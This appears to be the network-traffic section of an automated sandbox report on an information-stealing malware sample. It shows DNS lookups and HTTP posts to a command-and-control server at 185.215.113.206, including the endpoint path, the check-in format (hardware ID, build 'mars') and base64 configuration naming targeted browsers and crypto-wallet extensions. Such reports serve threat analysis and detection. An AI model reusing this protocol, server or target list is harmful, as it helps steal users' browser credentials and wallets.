Nov 20, 2024 18:57:23.670322895 CET	1.1.1.1	192.168.2.6	0x2d38	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:23.670380116 CET	1.1.1.1	192.168.2.6	0xad88	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 18:57:30.596371889 CET	1.1.1.1	192.168.2.6	0xd925	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:30.596371889 CET	1.1.1.1	192.168.2.6	0xd925	No error (0)	plus.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:30.597229958 CET	1.1.1.1	192.168.2.6	0xb416	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:31.591623068 CET	1.1.1.1	192.168.2.6	0xb567	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:36.356709957 CET	1.1.1.1	192.168.2.6	0x2f33	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:36.356914043 CET	1.1.1.1	192.168.2.6	0x2f3f	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:36.719855070 CET	1.1.1.1	192.168.2.6	0xfb2a	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:36.719855070 CET	1.1.1.1	192.168.2.6	0xfb2a	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:36.890924931 CET	1.1.1.1	192.168.2.6	0xf33e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:38.812519073 CET	1.1.1.1	192.168.2.6	0x875c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:38.812923908 CET	1.1.1.1	192.168.2.6	0x5475	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:39.786133051 CET	1.1.1.1	192.168.2.6	0x5ca0	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:39.786133051 CET	1.1.1.1	192.168.2.6	0x5ca0	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.787060976 CET	1.1.1.1	192.168.2.6	0x98f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:39.905862093 CET	1.1.1.1	192.168.2.6	0x1b5f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 18:57:39.905926943 CET	1.1.1.1	192.168.2.6	0x481f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 18:57:39.905978918 CET	1.1.1.1	192.168.2.6	0xcab7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.905978918 CET	1.1.1.1	192.168.2.6	0xcab7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.906034946 CET	1.1.1.1	192.168.2.6	0xebbd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.906034946 CET	1.1.1.1	192.168.2.6	0xebbd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.929316044 CET	1.1.1.1	192.168.2.6	0x467e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.929316044 CET	1.1.1.1	192.168.2.6	0x467e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:39.929596901 CET	1.1.1.1	192.168.2.6	0xbb1a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 18:57:43.132034063 CET	1.1.1.1	192.168.2.6	0xae68	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:43.132034063 CET	1.1.1.1	192.168.2.6	0xae68	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:43.132034063 CET	1.1.1.1	192.168.2.6	0xae68	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:43.132034063 CET	1.1.1.1	192.168.2.6	0xae68	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:57:43.150257111 CET	1.1.1.1	192.168.2.6	0xfa03	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:43.150521994 CET	1.1.1.1	192.168.2.6	0xe9ae	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:43.813244104 CET	1.1.1.1	192.168.2.6	0xb2ce	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:57:43.813244104 CET	1.1.1.1	192.168.2.6	0xb2ce	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:58:15.761888027 CET	1.1.1.1	192.168.2.6	0x5ae6	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 18:58:15.761888027 CET	1.1.1.1	192.168.2.6	0x5ae6	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:58:15.761888027 CET	1.1.1.1	192.168.2.6	0x5ae6	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	185.215.113.206	80	7404	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 18:57:15.225853920 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 18:57:16.586025953 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 18:57:16.589507103 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 42 31 34 31 39 35 33 42 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="hwid"C5B141953B162235734526------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="build"mars------ECGDHIDAAFHIIDGDBFIE--
Nov 20, 2024 18:57:17.061686039 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 57 4e 6a 4d 44 52 69 4f 54 5a 6d 4e 7a 5a 68 4f 44 49 30 4d 54 5a 68 4e 54 51 34 59 6a 46 6d 5a 6d 56 6a 59 6a 49 77 4e 6a 41 35 59 7a 55 35 4e 6a 4d 30 4e 47 46 6a 5a 6a 6b 79 5a 44 5a 6c 59 7a 64 68 4d 7a 49 33 4d 57 45 34 4e 6a 67 30 4f 54 6b 31 59 57 52 6b 4f 44 6c 6a 4e 6a 6c 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YWNjMDRiOTZmNzZhODI0MTZhNTQ4YjFmZmVjYjIwNjA5YzU5NjM0NGFjZjkyZDZlYzdhMzI3MWE4Njg0OTk1YWRkODljNjlkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 18:57:17.064029932 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 2d 2d 0d 0a Data Ascii: ------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="message"browsers------BGDHDAFIDGDBGCAAFIDH--
Nov 20, 2024 18:57:17.527759075 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 18:57:17.528004885 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 20, 2024 18:57:17.529114008 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="message"plugins------BGDAKEHIIDGDAAKECBFB--
Nov 20, 2024 18:57:17.986870050 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 20, 2024 18:57:17.986965895 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 20, 2024 18:57:17.986993074 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 20, 2024 18:57:17.987050056 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 20, 2024 18:57:17.987062931 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 20, 2024 18:57:17.987076044 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 20, 2024 18:57:17.988869905 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHIIJDGHCBFIECBKEG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="message"fplugins------FBGHIIJDGHCBFIECBKEG--
Nov 20, 2024 18:57:18.440215111 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: 